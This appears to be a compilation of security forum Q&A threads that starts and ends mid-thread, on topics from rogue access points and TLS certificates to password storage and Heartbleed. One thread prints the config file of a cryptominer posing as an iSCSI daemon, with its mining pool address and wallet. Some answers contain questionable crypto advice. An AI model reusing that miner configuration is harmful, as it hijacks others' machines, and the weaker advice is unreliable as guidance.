One method of protecting against rogue access point is the use of rogue mitigation.  There are multiple systems available which will allow a company to conduct scanning and deauthing of rogue wireless nodes.  Some of these systems will actually allow you to upload a trusted device list (a company asset list) and block according to that list.  Some are also able to correlate wired data with wireless transmissions to determine if the rogue AP is actually connected to your network or not.

For instance, if you have a worker's laptop and it connects to a spoofed corporate SSID, these sensors would be able to determine that a trusted asset is connecting to an untrusted device using a trusted network name (dona via mac addresses).

The fun part, if you see the device on your network, is using the same system to triangulate the location of the rogue device to track it down and see where it is plugged in to your network.

These methods also allow you to stay neutral towards any device that is not one of your company assets (which helps greatly from the legal side of things).  You would only be targeting systems which are owned by your company or are connected to creating unauthorized connections to your corporate network.


How can I prevent an ISCSI attack? What does it mean when you figure out that you're considered as a target  ISCSI device.

I found the process  iSCSId in  /var/tmp with a conf file. it's trying to create an hourly crontab command under my machine: serverClientName.
How to prevent such connection?
why I couldn't be notified by this unauthorized and background connection via the protocol iSCSI? by the way we're using java6

where to find the initiators's identity.

this is the content of crontab

May 29 06:34:06 Archive-X**y crontab[24772]: (X**y) BEGIN EDIT (X**y)
May 29 06:35:24 Archive-X**y crontab[24772]: (X**y) END EDIT (X**y)
May 29 06:37:11 Archive-X**y crontab[24804]: (dcm4chee) BEGIN EDIT (dcm4chee)
May 29 06:41:21 Archive-X**y crontab[24804]: (dcm4chee) REPLACE (dcm4chee)
May 29 06:41:21 Archive-X**y crontab[24804]: (dcm4chee) END EDIT (dcm4chee)
May 29 06:41:25 Archive-X**y crontab[24834]: (dcm4chee) BEGIN EDIT (dcm4chee)
May 29 06:42:01 Archive-X**y cron[1270]: (dcm4chee) RELOAD (crontabs/dcm4chee)
May 29 06:42:08 Archive-X**y crontab[24834]: (dcm4chee) END EDIT (dcm4chee)

+++X**y is the name of the dcm4chee server  +++

The content of /var/tmp/iscsid_pirate is garbled binary.

This is the content of pirate.conf

X**y@Archive-X**y:/var/tmp$ ls
iscsid_pirate  pirate.conf
X**y@Archive-X**y:/var/tmp$ more pirate.conf

{
    "url" : "stratum+tcp://188.165.254.85:80",
    "user" : "46Z6dQ77i2qAapF4kjLXaaYKCB59eajwaZbmtyyPsxDXWyxPS5nfYoe5t4R7yTgsvT
AxgE8DRwwtKiMxCmM39KCBPfEgL5b",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}

What you encounter is NOT an iSCSI hack, but malicious bitcoin miner that place in your system that mask as a iSCSI process (which is not).

Kill the process /var/tmp/iscsid_pirate  process, check your crontab.  If you don't believe it is malicious, you can run

sha256sum  /var/tmp/iscsid_pirate

copy the hash and paste into https://www.virustotal.com/search bar. Due to bitcoin miner abuse, most antivirus flag bitcoin miner as something bad. Don't be surprised that mainstream Windows antivirus flag them even it is a Linux ELF file.

What you should do :

Check your web services for security flaw.(e.g. outdated version, unpatched security updates,etc)
Backup your data
Reinstall and redeploy the server, patch all the security holes before open up to user. (You need no.1 to backup your claims that you have been hacked instead of a rouge admin put the bitcoin miner in your system).


Is it possible to be secure without a password manager? I've read a thousand times that a password manager is the best way to secure numerous online accounts, and I think I understand the reasons pretty well. In practice, there is one problem : the ideal solution doesn't currently exist.

Why password managers aren't ideal

The most well-known "cloud" PMs like 1Password and Dashlane are paid and require me to trust a proprietary, closed-source system with the most important pieces of data I have. LastPass, aside from the closed-source problem, has a very bad, half-baked UI, was full of bugs last time I tried, and its interface is only partially translated into my language. It's also a pain to use it with other apps than my browser, as I have to open the browser, open the LastPass extension, search for the entry, copy the username, switch windows, paste, then repeat for the password. Finally, I've read too much about the vulnerabilities that were discovered in it to be comfortable with it, and I usually don't trust "free" (as in free beer) cloud storage.

Then there is KeePass that's the best solution I know of. The main problem with it is that there isn't an iOS equivalent that would be capable of syncing two databases (the iOS apps that are compatible with it just overwrite the remote version with their local one, potentially overwriting changes in the remote one).

In every case, syncing my passwords database with my phone would require either using a proprietary system or using a standard cloud service, which I don't want to use for several reasons (mainly not wanting to have a new background process on my laptop for syncing just one file, and not wanting to make my data available to cloud provides and whoever can read their data, even for an encrypted KP database).

What to replace them with

For all of these reasons, I'm currently trying to go back to using my brain as a password manager. I'm able to remember some reasonably secure passphrases for the few accounts I really care about and I'm working on a password scheme that would be reasonably hard to guess and provide different passwords for different sites. These usually mix a secret value remembered by the user with some information about the site, like its name.

I can make this method work, but then I'm worried about, for example, password leaks on some website with bad security, enabling someone to analyze one or two of my "lower-security" passwords, and guessing the scheme. The main problem to solve seems to be to design such a scheme that would be simple enough to be practical, while resisting to the leak of a few passwords from time to time.

Which brings me to my question : is it possible to create such a good password scheme, and would that method provide security that's not substantially inferior to a well-designed password manager ?

Personally I have ~5 >= 12 character entirely random passwords memorised. These are used for key sites and the password is used between at most two sites and if reused then the two sites have different email addresses and usernames for me..

For other less critical sites I map 3 random 8 character strings + the site name. For example "4QvkmvBt-StackExchange" and I might also have "4QvkmvBt-reddit". I have my own schema for mapping sites to random string. I also get extremely upset with sites whose password policy does not allow me to use this. Personally I view this as secure enough. If ever I became aware one site had been compromised I would replace all passwords using that random string.

This is good enough for me personally. Its not as strong as the passwords a password manager could provide but its also convenient (they are always available - in my head) and good enough. If stored properly by sites they should be impossible to brute force. If somehow someone does obtain a plaintext password the damage is limited. I also have no reason to believe someone would put above average effort into breaking into my accounts.

I dislike password managers because its a single point of failure. Any major password manager will also be mass targeted should a vulnerability be found. However for people that cannot remember long random strings I would still recommend them.


Pre shared public key vs Certificate I have a system where clients securely communicate with a remote server over internet using TLS. In this scenario, how CA signed server certificates are better than pre-sharing the server public key? When the server private key is compromised, new keys pairs will replace the old then it is tiresome to do the pre-sharing process for all clients again. In this case, i assume certificate has an upper hand. But am i right?

Let's compare the workflows of the two processes, specifically how the handle key compromise.
Pre-shared Secret
The server generates a keypair, you copy this to every client machine (manually, through a script, etc). When connecting to the server, the client will check that the public key presented matches the one they have cached for that server (conceptually, this is the same as SSH's fingerprint id method).
Upside: no need for the inconvenience of getting a CA-signed certificate. You can generate the server's keypair and start deploying it to clients immediately.
Downside: Recovering from a key compromise is difficult or impossible because there is no mechanism for the server to notify clients of a key compromise, except by pushing a new keypair to all clients. Consider that an attacker has the server's private key and can intercept traffic between the client and server (both to block the updated keypair push, and to man-in-the-middle the client's connection to the server). The client will trust the attacker and believe that it is talking to the authentic server and there is nothing you can do to prevent this because at a fundamental level, pre-shared secrets have no revocation mechanism.
Certificate
Yes, it's annoying (and sometimes expensive) to get a certificate, but the trust no longer depends on your ability to push the pre-shared key to the clients.
Part of the validation process for a certificate is for the client to reach out to the CA and ensure that the certificate is not revoked and if it fails to reach the CA, this counts as a failure. Spoofing this revocation check requires the attacker to compromise not only the server's private key, but the CA's private key as well. If the server realizes that it's keypair has been compromised and asks the CA to revoke it, all clients will know immediately because the online revocation checks will fail.

Revocation is the main reason to use certificates here, but also consider that an attacker can intercept the initial public key push and replace it with their own public key. Maybe you are the network admin and can guarentee to deploy the public keys securely, but certificates make this a moot point because even if the attacker can intercept the certificate deployment, spoofing a cert requires compromising the CA.


How to check the origin header server-wide in IIS to prevent CSRF Whereas I'm aware that the synchronizer pattern is the recommended approach to prevent CSRF attacks, I am in a situation where it would be a lot faster to implement the origin header check.

I was hoping it would be very easy to have a server-wide filter in IIS (7.5) which would allow me to block POST requests that are coming from a different domain. It is possible to block POST requests, and it is possible to block requests coming from a certain domain. However, it seems that no filters exist that combine the two. So my question is:

Is there a module/manner to easily block POST requests that are coming from different domains in IIS 7.5?

You could do this with a Custom HTTP Module, written in ASP.NET. The ASP.NET is required to run the module, although the rest of your deployment need not be in ASP.NET. Note this code is untested, but should put you on the right lines. Of course this does not implement the full logic described in my other answer for dealing with CSRF using Origin, so it only affords some protection (i.e. no old browser protection).

Example adapted from Walkthrough: Creating and Registering a Custom HTTP Module.

Create Module

using System;
using System.Web;
public class HelloWorldModule : IHttpModule
{
    public HelloWorldModule()
    {
    }

    public String ModuleName
    {
        get { return "HelloWorldModule"; }
    }

    // In the Init function, register for HttpApplication
    // events by adding your handlers.
    public void Init(HttpApplication application)
    {
        application.BeginRequest +=
            (new EventHandler(this.Application_BeginRequest));
    }

    private void Application_BeginRequest(Object source,
         EventArgs e)
    {
    // Create HttpApplication and HttpContext objects to access
    // request and response properties.
        HttpApplication application = (HttpApplication)source;
        HttpContext context = application.Context;

        if (context.Request["Origin"] != "https://www.example.com")
        {
          // Deny request - spit out 403
        }

    }

    public void Dispose() { }
}

To register the module for IIS 6.0 and IIS 7.0 running in Classic mode

<configuration>
  <system.web>
    <httpModules>
      <add name="HelloWorldModule" type="HelloWorldModule"/>
     </httpModules>
  </system.web>
</configuration>

To register the module for IIS 7.0 running in Integrated mode

<configuration>
  <system.webServer>
    <modules>
      <add name="HelloWorldModule" type="HelloWorldModule"/>
    </modules>
  </system.webServer>
</configuration>

As you are running MVC, make sure you alter the one in the root (not the Views folder).


Some questions about encryption in Java I have some questions about encryption in java as I'm trying to develop a password-manager-like application for my final test in Computer Science in High School (Germany). The password manager uses a server with a REST API to save the passwords in a database to transfer the passwords encrypted to the user where he might save it or just use it.

I have to do an extension for the browser Chrome to insert the passwords, but Chrome forces me to use JavaScript for writing the extension. So should I decrypt the passwords on the server and send them plain text by SSL or should I send the encrypted password and encrypted private key and let the extension decrypt both. But the problem here is that Java and JavaScript Crypto Libraries aren't creating them the same, so I might need to call a java application from the extension.
I'm currently using RSA/ECB/PKCS1Padding as the Algorithm for encrypting text with public and private keys, I know, there is also AES, but I need public/private keys for my application, and therefore I want to ask if this algorithm is secure enough for saving passwords. Note: I'm encrypting the Private Key with PBE.
As I noted, I'm using PBE to encrypt my private key with a password that the user provides for the Password Manager, I'm using PBEWithSHA1ANdDESede therefore, is this also secure enough or is there anything that is better in the Java Standard Library.

Before I answer your questions, here are a few principles that will make the answers easier to understand.

Keep network usage to a minimum. All transmissions are vulnerabilities. You are using the network to synchronize passwords between devices. All of the other functions should be performed locally on a cached database.
Sensitive data should stay encrypted whenever possible. Whenever data is not being used, leave it encrypted. Even in memory. Plaintext passwords are naked targets. They should only exist for the brief moments when the user needs them.
Hiding secrets is not the only goal of cryptography. There are four goals in cryptography: confidentiality (hiding secrets); authenticity (verifying that people are who they say they are, and things are from where they say they're from); integrity (verifying that data has not been corrupted); and non-repudiation (don't worry about this one for now).

Now to your questions.

1. Question

  should I decrypt the passwords on the server and send them plain text by SSL or should I send the encrypted password and encrypted private key and let the extension decrypt both.

The local application should decrypt both. Remember, we are only using the network to synchronize data between devices. Everything else should be done locally.

The user's whole archive of passwords should be cached on their local device. They are stored encrypted by the user's password (and key or whatever). When the user logs into the password manager application, he gives the application his password and/or key. This gives the password manager application the power to decrypt the database and read the user's passwords.

Basically, the answer is that you do need to decrypt the passwords in JavaScript. But you shouldn't be getting them from the server unless your local cache needs an update.

  the problem here is that Java and JavaScript Crypto Libraries aren't creating them the same, so I might need to call a java application from the extension.

No, you don't need to call a Java application from JavaScript. The cryptographic standards you're using are completely interoperable. If you aren't able to make them work together, then you're probably making a mistake.

2. Question

  I'm currently using RSA/ECB/PKCS1Padding as the Algorithm for encrypting text with public and private keys, I know, there is also AES, but I need public/private keys for my application, and therefore I want to ask if this algorithm is secure enough for saving passwords.

The first thing you need to know about this is that you probably are still using AES encryption. Symmetric encryption is an important part of asymmetric encryption. RSA keys are not capable of encrypting more than a few hundred bytes. Here's the basic procedure.

Encryption

Generate symmetric key A
Encrypt message M using A
Use the public RSA key to encrypt A
Send A+M (both encrypted) to the recipient

Decryption

Decrypt A using private RSA key.
Decrypt M using A

Also, your question about whether RSA is strong enough is impossible to answer. It depends on your teacher's standards.

3. Question

  is there anything that is better in the Java Standard Library

Yes. I don't know what is strong enough for your teacher. But Java certainly has stronger options.

SHA1 is the weakest of all the SHAs. The strongest of all the SHAs is SHA3-512. Adding HMAC makes it even stronger. AES is also much stronger than DES. PBE is kind of ambiguous. I usually prefer to specify PBKDF2 if I need something very strong.


How can I authenticate a client connection in a secure way? Let's say I have a server listening on port 1234.  I have some client software that needs to be able to connect to this port.  But I want to prevent malicious users from bypassing the client software and connecting to the port by some other means (such as in a console or another piece of software).

The trusted client software and the server may share a secret key, if necessary (I can live with the possibility that the key can be extracted from the binary).  I'd prefer not to send such a key in plaintext, but data after the authentication can be in plaintext. Specifically, I'm trying to figure out how to defeat a man-in-the-middle attack where the malicious user is using the trusted client software to calculate correct responses to server challenges.

Can I get there from here?

I could have the server's listening port bind only to localhost and require that clients first gain access to the machine via ssh.  Then the client software could use an ssh library to run a command on the server that connects to the local port (in this scenario, the malicious user would be unable to use ssh to access the machine because he would not have the password).  But then all my traffic is encrypted, which is additional overhead.  Perhaps there is a program similar to ssh that only does the authentication but then leaves the channel in plaintext after that?

Update:

I ran a test to determine the overhead associated with encrypting all traffic.

spew.rb outputs 10 million 100-character lines.

CONTROL:

fantius@machine> time /home/fantius/spew.rb > /dev/null

real    0m35.015s
user    0m34.934s
sys     0m0.084s

top shows 25% cpu usage (one full core, of four cores)

TEST:

fantius@machine> time ssh localhost /home/fantius/spew.rb > /dev/null

real    0m40.704s
user    0m19.981s
sys     0m1.400s

top shows 45% cpu usage (almost two full cores)

That message rate probably exceeds most inter-machine connections.

First, I suggest avoiding assumptions about encryption overhead. You should measure. My PC from 2001 was already powerful enough to transfer data with SSH at the full speed of a 100 Mbit/s link, with encryption. My actual PC, a common Core2 at 2.4 GHz, can do AES encryption at 167 Mbytes per second (yes, megabytes, not megabits), more than enough for gigabit ethernet, and that's using a single core -- I have three other cores.

If you want to authenticate a client then the client must have something special that the envisioned malicious user has not. Cryptographically speaking, some piece of secret data, which we will call a key because that's what keys are: a piece of secret data, used in an algorithm which is assumed not secret. Note that this entails a structural flaw which cannot be really avoided: anybody with read access to the code of the client may perform some reverse engineering and recover the key. This can be made a bit more difficult through code obfuscation techniques, but not to the point of making it impossible.

Also, you want to authenticate the connection, i.e. not only the act of initiating the data tunnel, but also the data which is actually transfered. Otherwise, the attacker could hijack the connection once the authentication step has been performed. This implies using a cryptographic integrity check, which is called a MAC. At that point, adding encryption is easy. SSH uses both symmetric encryption and a MAC.

Out of existing building blocks, I suggest the following solutions:

Use SSH. The client connects through SSH and uses a hardcoded password to authenticate itself (the password is then the key I was talking about above). Man-in-the-middle is avoided by the usual mechanism of SSH, i.e. the SSH client should keep a copy of the server public key.
Use SSL/TLS. This is very similar to what happens with SSH. The client knows that it talks to the correct server because the server public key is presented as part of a X.509 certificate, which is signed and can be validated by the client. The client must have knowledge of the certification authority public key. Alternatively, the client may already know the server certificate and just check that this is the same certificate than the one sent by the server. Once the tunnel is established, with encryption and integrity checks, the client may just send his key "as is" to prove its identity.
Use SSL/TLS with a client certificate. In this setup, the client has a public/private key pair. The private key is the key I was talking about. The public key is encoded into a certificate that the client shows during the SSL handshake. All of this is standard SSL stuff, hence supported by existing SSL libraries. Compared to solution 2, this avoids the need to include a key-sending message in your application protocol, and it also allows the use of MAC-only cipher suites, in case it turns out that encryption is too computationally expensive (which I doubt).
Use the client key in a Password Authenticated Key Exchange in order to derive a common session key, then used for a MAC (and possibly encryption). The point of PAKE protocols is that they can tolerate low-entropy secrets, i.e. passwords which fit in the brain of human users. Running a MACed tunnel has a few subtleties so the proper way is to use an existing protocol. This then calls for TLS with SRP. The "password" is hardcoded in the client (and although SRP tolerates short passwords, nothing prevents you from using a long and very random password). The beauty of the thing is that this suppresses any mucking with certificates or known public keys. The client is authenticated by virtue of its knowledge of the password. Simultaneously, the server is also password-authenticated by the client. As an added bonus, with SRP, the server only stores a password-derived piece of data, which is not directly usable by the client, so an attacker reading the server database does not gain automatic access as a "client".

My favorite solution is of course the one with SRP. It is elegant. Unfortunately, SRP is rather new, so not all SSL/TLS implementation support it. But GnuTLS does.


Am I wrong to believe that passwords should never be recoverable (one way hash)? I recently forgot my password for our cable provider online account, only to discover that they sent it to us via plain text in an email. I quickly sent an email to customer support asking them if they were storing passwords in plain text in their database. I actually got a quick response back from one of their software engineers who said that due to the "application's design" it was necessary to hash the passwords in a recoverable format.

I didn't send an email back to ask if they were using a salt, but in general, I thought they were adhering to the lowest common denominator with regard to password security and recovery.

Am I in the wrong here? If they are using a strong encryption method, is this perfectly acceptable?

For an ISP it is quite likely that they store your password in plain text or using a reversible encryption. This reversible encryption is not a hash as the answer claimed.

ISPs tend to not use one way hashes because a number of old protocols use the password as part of a challenge-response digest authentication.

Most notable is APOP, which is an extension to the old Post Office Protocol. In normal POP the username and password are transmitted in clear text, which is obviously bad. So people thought of an extension which prevented sniffing and replaying attacks: The server sends a unique identifier (for some strange reason it is called timestamp in the specification although it is more). The client concatenates this identifier and the password before calculating the MD5 hash. The server needs to do the same calculation, therefore it needs the clear password. This protocol is outdated; POP over SSL should be used instead. But it is still in common use.

Furthermore, ISPs often offer a number of services and getting all of them to use a central authentication mechanism is a huge challenge. So often passwords are replicated to those servers instead. Since this replication must be reproducible at any time for reliability reasons the clear text password is often stored. If a central authentication is not possible, it would still be preferable to store the different encrypted formats at the replication source instead of the plain password.

It is obviously extremely bad practice to give those passwords out to customers and first level support personal. Sending them in plain email makes it even worse.


What use would a privacy browser, such as Firefox Focus for iPhone, have for an internal web server? The Mozilla Foundation has a "privacy browser" called Firefox Focus that is available for example iPhone (here). This browser has an always-on ad blocking function.

I was checking the third-party licenses used by this iPhone version (image shown below) and noticed that it includes the use of GCDWebServer.

The GitHub page for GCDWebServer says that:

  GCDWebServer is a modern and lightweight GCD based HTTP 1.1 server designed to be embedded in iOS, macOS & tvOS apps.

There is a support information for this browser here but the documentation does not mention the use of an internal web server.

This issue has relevance in evaluating the risks from possible open ports in connection with determining whether to allow this browser in corporate bring-your-own-device configuration.

Question:
What use would a mobile device web browser have for running an embedded web server?

One thing Firefox Focus uses this embedded web server for is to detect whether Safari Content Blocking rules were successfully enabled. It seems from this answer and the Focus source code that iOS 10 provides an API for determining whether a Safari Content Blocking extension is enabled, but that in iOS 9 there wasn't such an API. Instead, it was necessary to actually try making a request to detect whether that request was blocked; if blocked, you then assume the blocker is working. I'm guessing that a decision was made to spin up a local web server as the target for the blocker detection test so as not to rely on a remote service, which would have introduced reliability and privacy issues.


Volatile memory only computer? I was wondering, is it possible to create a fully volatile computer, with no permanent memory at all (not even in the BIOS), that will be loaded on each boot from a read only live CD?

Such that in order to hack me and spy on my computer, you will need to hack me every single time that I restart the computer.

Have you heard of this kind of solution?

Many components in a computer (lets say a complete laptop) require some kind of permanent memory to most of its components (graphics chips, memory modules, keyboard etc) in order to function properly. Early in the startup of the computer there is (or could be) voltage regulation issues, startup sequences that is controlled by code that is stored in permanent memory on most of these components. This kind of firmware or early startup permanent memory is usually stored in small memory chips on each individual component. The memory chip could be an EEPROM or similar. Despite the small memory capacity available, that chip be used to store a small piece of malicious code that could allow an attacker to get a foothold once the computer is fully started.

I do not believe that we could construct a, physical, volatile memory-only computer today.


Do registration codes need expiry? I work on an application where users are sent a unique registration code in the post.  They use this, along with other personal information known to the user, to confirm the identity of the user upon creating a new account.

Does the unique registration code sent in the post need an expiry time (like after 30 days)?

The argument that has been made to me is that if there is no expiry then a fraudster has longer to collate the personal information about the intended user to confirm identity.  Therefore, they argue that adding an expiry decreases the likelyhood of fraudsters creating an account posing as the intended user.

However, if that's the case, I would imagine that having an expiry would make no difference.  If a fraudster has intercepted this mail then the individual has been personally targeted and the fraudster would be able to obtain the personal information to request another code?

An expiry code means that if an unauthorised person with malicious intent gains access to the code before the user finalises registration, then fraud can be prevented if the malicious person does not also have access to the victim's personal information.

But how effective of a control would the expiry be? If someone with malicious intent has access to the mail and a desire to exploit it, then it is reasonable to assume that the malicious person has access to all mail. If there is access to all mail, then all the victim's info is exposed to the malicious person, so the control is not effective in this case.

Compare this to the risk of a legitimate delay in finalising registration, requiring a re-issuing of the code and posting. The expiry period would need to be long, in which case, a malicious person has a lot of time to act.


What client-cert validation can be gleaned from DNS/reverse DNS lookup? I'm learning about X509 certs used in client-cert authentication to https endpoints. I have a nice Python script that checks many facets of the client-cert.
Is there any validation that can be performed from a reverse DNS lookup on the client IP?
Example:

Client makes request to my https endpoint
I grab the IP address from request header
Check that it is a valid IP4 (will check IPV6 at some point) address using the Python socket.inet_aton() function
Then finally perform a reverse dns lookup using the socket.gethostbyaddr() function

The results look something like:
('111-111-111-11.somecompany.com', [], ['111.111.111.111'])
These results do not always contain the Subject Alt/Common Name (which I'd like to check here to ensure the request is coming from the same domain as the certificate is granted for).
Is there any other meaningful client-cert validation I can do with this info?
EDIT 1:

In case it helps, below is what I'm wondering
If I have the IP of request AND the Subject Common Name of the certificate in the client's request
What checks can I perform on the IP address that would increase security?
I can't tell whether checking the request IP against the IP resolved from DNS lookup would be useful 100% of the time OR
Whether I should check the request IP against the reverse DNS lookup results.
Each test seems to yield slightly different results depending on the requestors domain.

About meaningful information from reverse DNS: The short answer is no, not really.
About CLIENT certificates and SERVER certificates:
Normally when you use a X.509 certificate for client validation, the client (normally a web browser) will represent a CLIENT certificate to the HTTPS endpoint, much like the HTTPS endpoint will represent its own certificate to the client. The server can then choose to trust the client certificate based on if it is issued by a trusted authority for the server. This might be a certificate authority (CA) belonging to the organization that runs the server, or a CA that is commonly trusted by most devices.
What you seem to be doing is looking at the SERVER certificate at the HTTPS endpoint for the reverse DNS that the client IP address points to. This is normally not something that you would do. But for the sake of your question, I will continue down this path to provide you with what you can find:
Making sure a reverse DNS name can be trusted
First of all you must be aware of that a reverse DNS name can point to ANY DNS name that the owner of the IP would like to point it to.
In order to be able to trust the reverse DNS name of an IP address, you will also need to resolve the reverse DNS name to an IP address and compare it to the client IP to see if they match. If they do not, the name cannot be trusted.
Imposter example:
The owner of IP address 66.66.66.66 sets its reverse DNS name to yourbank.com. If you check the SSL sertificate at yourbank.com:443 it would probably be valid for yourbank.com. But yourbank.com and its valid certificate has nothing to do with the client. Resolving yourbank.com to an IP address will show that it points to another IP than the client IP, meaning that there is probably no relationship between the reverse DNS name and the client IP other than the reverse DNS name (PTR record) in the 66.66.66.66.in-addr.arpa DNS zone which is controlled by the owner of the IP address. The owner in control is usually the ISP or a company with static IP address(es) from their ISP).
Common valid examples:
If you have a client IP 11.22.33.44 that resolves to 44.33-pool.dyn.cable.someisp.net and the name 44.33-pool.dyn.cable.someisp.net resolves to 11.22.33.44 you know that the name is correct. This client might be a user connected by a cable modem with a router which probably do not have any open HTTPS endpoints.
If that client is running a website at their IP address, it would probably be for another name than 44.33-pool.dyn.cable.someisp.net. Maybe something like mypersonalwebsitethatirunfromhome.com.
For a client connecting from a business location the IP address might resolve to something like lan-gw.mainoffice.somecompany.com or static-77.88.other.isp.com. They might host a webserver at this IP, or they more likely have a subnet of more IP addresses and they have another IP address for their webserver.
Other client IPs might not have any reverse DNS names at all, or they can have a name that points to a different IP address than the client, but still be related, or they are a bot that crawls the internet for indexing or looking for exploitable vulnerabilities in the web servers. These bots might have IP addresses from a cloud based IaaS network like AWS. A good bot will present its name and maybe an URL for more information in the HTTP_USER_AGENT header.
Even if the client IP address is a dedicated webserver it would probably have a reverse DNS name in the format of web94.someisp.com. The server might host www.someisp.com and several other websites accessible at the HTTPS endpoint by providing other.websites.net in the SNI of the HTTPS request.
Final thoughts for looking into the reverse DNS name of a client:
If you are lucky, the reverse DNS of the client IP might actually point to a DNS name that is related to the client IP, which you confirm by resolving the DNS name back to its IP address and compare it to the client IP, and you can validate the certificate, but all it proves is that the client IP has a webserver running with a valid server certificate for the DNS name that the IP address points to in DNS. Note that the client that is connecting to your HTTPS endpoint might be a web browser in the network behind that public IP, or it might be some malicious activity from a compromised device in their network that is making the connection to your web server.
Back to actual validation of CLIENT certificates:
If you want to trust a client you must let the client prove its identity. This can be done by a client certificate installed in the actual client software (like in a certificate storage that the browser can access). The client will present this certificate when contacting the HTTPS endpoint on your server. This certificate must be created by a certificate authority that your web server trusts. The certificate can be installed in the client automatically from a central system for device management.
If you are not using a client certificate you will need to let the client identify itself by other means, like a username and password, or a valid authentication token that can be verified by the server.
Reply to Edit 1
What are your use case scenario here? Are you running a service that requires a certificate while you are willing to accept any publicly trusted certificate, but then restrict that access only if the client is related to a certain set of domain names?
Normally you would only trust client certificates from a certain certificate authority in order to have decent control of who can gain access to your service. If your goal is to provide access to anyone in the "somecompany.com" domain without ever having anything to do with the client certificate it might not be as easy as that.
If you want to provide the service to anyone with a public certificate you should only trust the data in the client certificate itself. As you already figured out, the CN field of the client certificate might be empty. Dealing with certificates with no verifiable domain name really has no other solution than making the client change their certificate, or whitelist that specific certificate.
The IP address of the client should not be used to approve access unless you know a specific set of IP addresses that you want to allow. An IP address only says something about what infrastructure the client is coming from. It doesn't prove that they are related. Accepting any connection based on the IP address alone poses a great security risk unless you know that you really can trust any connection from that IP, which also means that you need to trust all software and all hardware in the whole network of that IP.
The top level domain associated with the reverse DNS might not have anything to do with the IP address. Lets say I own an IP 1.2.3.4 and I point it to mydynamichost.dyndns.org, and using my account at DYN.com to point that hostname back to my IP address. That makes me connect from mydynamichost.dyndns.org, but I still don't own or operate on behalf of dyndns.org.
In your example where Bob connects with a certificate for bob.com, it would be just as likely that he is connecting from an IP that has a pointer for the hostname 101.102.103.104.bob.net, breaking the relationship between his domain identity and network identity.

What checks can I perform on the IP address that would increase security?

You can check if the IP address is listed in any blacklist databases. You should probably reject requests from an IP address that is exceeding a certain threshold in a certain time that would be outside of normal activity.

I can't tell whether checking the request IP against the IP resolved from DNS lookup would be useful 100% of the time OR
Whether I should check the request IP against the reverse DNS lookup results.

I am not sure if I understand the differences between your option a or b here. I am sure of that you should NEVER trust the reverse DNS name unless the reverse DNS name can also be resolved to the IP address of the client. I am sure that an IP address will not always have a reverse DNS name. Sometimes it might even have more than one name. The name may or may not be related to the client, but at least the client IP is listed in the DNS zone for the domain if you can resolve IP to hostname, and hostname back to the same IP.
I would still not say that it would be recommended to use the reverse DNS name or the IP address of the client for doing client authentication.
Ping me again if you need further clarification.


Trusted execution environment vs dual microcontroller In the context of cryptocurrency hardware wallets, what are pro and cons of a single TEE controller (Trusted execution environment) approach versus a dual microcontroller approach (one microcontroller is secure), as seen for instance on Ledger Nano?

Which architecture can be considered more secure?

This question is essentially comparing a full real microcontroller dedicated to executing trusted code and only trusted code vs. a "virtual" microcontroller, i.e. a trusted execution environment within an existing microcontroller.

A microcontroller with TEE essentially executes trusted and untrusted code on the same hardware and only provides a soft separation between trusted and untrusted code. Given that trusted and untrusted code share the same resources it is more likely to successfully execute side channel attacks based on timing or caching behavior (i.e. attacks like Meltdown or Spectre) then with a full hardware separation.

Other than that both setups can be messed up. The problem is usually that trusted and untrusted code somehow need to interact and it might be that the trusted code is handling data from the untrusted side without properly treating the data as fully untrusted. Software can and usually will have bugs and this is true for trusted code too. Another problem is how to make sure that only trusted code gets loaded into the trusted part of the system, especially considering that once trusted code might no longer be trusted since bugs in it were found.

Of course, having a single microcontroller with TEE has also advantages. These boil down to the advantages virtualization usually offers: less hardware needed and therefore cheaper to build, easier to integrate and less power needed.


Looking for credit card data and other PII in files I'm looking for ways to check for the presence of credit-card data and other personally identifiable information in files on a network I'm testing.

Currently i'm doing this manually with the usual tools like grep and some terrible reg-ex but a nice stand-alone application would be ideal. Especially something i can use the output of and drop in a report. If i query the files from a terminal looking for card-numbers, it spits them back out, which also means i have to redact them. Ideally I need a count and a list of 'anonymized card numbers' as well as which files they were in.

Any suggestions on alternate ways of finding this data or tools that can be used to achieve this would be most welcome.

ccsrch is a tool for exactly this purpose.  I have seen QSAs use this as part of their audits.

Personally, I'm not fond of it.  I've run it against a file with 100k cards and it found all 50k of them.  I got better hit rates with a python script I threw together in an afternoon.  And the output requires lots of manual review to weed out false positives.

But, again, QSAs use it, and it's better than nothing.


Multi-tenancy and Heartbleed We use a well-known service provider/API management gateway that sits in front of our RESTful APIs providing key management functionality etc. etc.

The service provider was running the dodgy OpenSSL version.

None of our web services have SSL enabled, though we use API keys to throttle API access, measure usage.

Traffic obviously arrives at the service provider's web servers which acts as a proxy and talks to our web servers.

If the infrastructure of the service-provider is such that many customers share a web-server instance and at least one customer has SSL enabled, then does that expose all customers, including those not using SSL, to the threat?

Apparently, the bug will not allow memory to be read outside of the process address space, so the answer is hinged around how the proxy web server runs a process per customer.

Has anyone covered this scenario?

Hypothetical Scenario

I am a programmer working for APIs-r-Us. Instead of running a separate website and process for each of my thousands of customers, sharding and all that, I write the proxy system as a single stateless web service running in a website instance handling all requests to apisrus.net

My service handles both SSL and non-SSL traffic.

My service uses some rules based on the URL to route requests to different customer web services. API consumers talk to my service and my service talks to the customer's real service, payloads can even be converted or augmented by my service before being sent back to the API consumer.

Loaded into process memory are the various routes and credentials to access my customer's APIs, as well as the keys and hashes use to authenticate the users.

All traffic is going via a single process, so if this process memory is compromised, then all customers are compromised.

I'm assuming that OpenSSL is loaded into the address space of the website (and not the server pipeline).

The answer to your specific scenario is "it depends".

Specifically, it depends on the finer details of how the application's memory allocator works, the threading mechanism it uses, and the application's inner structure.  There are some scenarios (eg. old-fashioned fork+exec threading with a new thread to handle each request, or a memory allocator that always wipes memory before use plus per-thread memory pools plus dedicated SSL and non-SSL threads) in which non-SSL data cannot leak into the OpenSSL-accessible memory space.  However, unless you know that one of these is the case, you need to assume that anything in the webserver's memory may have been leaked by Heartbleed.


Is the separation of data from different applications via Oracle schemas considered secure? I am evaluating the pros and cons of having different Oracle schemas vs. separate Oracle servers. Having a dedicated server for each application is really expensive and I only want to consider this if the security benefits are worth it.

One of the main sticking points is the topic of SQL injection. In case application A has an SQL injection which compromises all the data in schema A in the Oracle database, would it be possible for an attacker to access the data in schema B (in the same Oracle database) as well?

I am leaning towards the opinion that separation via schemas is enough except for the most critical of data stores. Is this the best practice and what are the main factors to consider?

It is a common concept to create specific Database-Users for each application.
These users should have the minimum privileges needed to do their job.

Lets apply this to your example:

